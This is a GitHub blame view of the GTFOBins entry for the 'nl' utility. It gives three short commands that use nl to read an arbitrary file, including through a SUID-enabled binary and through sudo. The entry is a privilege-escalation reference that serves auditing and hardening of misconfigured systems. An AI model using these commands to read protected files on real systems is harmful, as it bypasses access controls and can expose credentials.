GTFOBins.github.io/_gtfobins/nl.md

17 lines
377 B
Markdown
Raw Normal View History

2018-05-30 09:56:12 +02:00
---
2018-07-16 15:01:50 +02:00
description: The read file content is corrupted by a leading space added to each line.
2018-05-30 09:56:12 +02:00
functions:
file-read:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_read
nl -bn -w1 -s '' $LFILE
2018-07-04 20:26:52 +02:00
suid-enabled:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_read
./nl -bn -w1 -s '' $LFILE
2018-07-04 20:26:52 +02:00
sudo-enabled:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_read
sudo nl -bn -w1 -s '' $LFILE
2018-05-30 09:56:12 +02:00
---